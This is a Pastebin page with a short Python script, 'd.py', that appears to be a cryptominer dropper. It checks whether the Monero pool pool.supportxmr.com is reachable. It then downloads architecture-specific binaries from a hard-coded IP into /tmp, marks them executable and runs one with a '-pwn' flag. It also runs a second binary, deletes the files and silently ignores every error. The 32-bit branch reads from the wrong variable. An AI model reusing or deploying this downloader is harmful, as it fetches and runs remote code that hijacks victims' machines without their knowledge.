Advertisement
ring0x0

d.py

Apr 12th, 2022
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.56 KB | None | 0 0
  1. import urllib
  2. import platform
  3. import os
  4.  
  5. output = os.popen('sh -c bytes=$(ping -c 1 pool.supportxmr.com 2>/dev/null|grep "bytes of data" | wc -l); if [[ "$bytes" -eq "0" ]]; then url=" "; else url="-d";fi; echo $url').read()
  6. if platform.architecture()[0] == "64bit":
  7. urlx64 = "http://185.101.107.92/x86_64"
  8. bx64 = "http://185.101.107.92/bashirc.x86_64"
  9. try:
  10. f = urllib.urlopen(urlx64)
  11. if f.code == 200:
  12. data = f.read()
  13. with open ("/tmp/dbused", "wb") as code:
  14. code.write(data)
  15. xx = urllib.urlopen(bx64)
  16. if xx.code == 200:
  17. data = xx.read()
  18. with open ("/tmp/bashirc.x86_64", "wb") as code:
  19. code.write(data)
  20. os.chmod("/tmp/dbused", 0o777)
  21. os.chmod("/tmp/bashirc.x86_64", 0o777)
  22. os.system("/tmp/dbused -pwn")
  23. os.system("/tmp/dbused -c " + output)
  24. os.system("/tmp/bashirc.x86_64")
  25. os.system("rm -rf /tmp/dbused")
  26. os.system("rm -rf /tmp/bashirc.x86_64")
  27. except:
  28. pass
  29. else:
  30. urlyy = "http://185.101.107.92/i686"
  31. yy32 = "http://185.101.107.92/bashirc.i686"
  32. try:
  33. yy = urllib.urlopen(urlyy)
  34. if yy.code == 200:
  35. data = yy.read()
  36. with open ("/tmp/dbused", "wb") as code:
  37. code.write(data)
  38. yy = urllib.urlopen(yy32)
  39. if yy.code == 200:
  40. data = xx.read()
  41. with open ("/tmp/bashirc.i686", "wb") as code:
  42. code.write(data)
  43. os.chmod("/tmp/dbused", 0o777)
  44. os.chmod("/tmp/bashirc.i686", 0o777)
  45. os.system("/tmp/dbused -pwn")
  46. os.system("/tmp/dbused -c " + output)
  47. os.system("/tmp/bashirc.i686")
  48. os.system("rm -rf /tmp/dbused")
  49. os.system("rm -rf /tmp/bashirc.i686")
  50. except:
  51. pass
  52.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement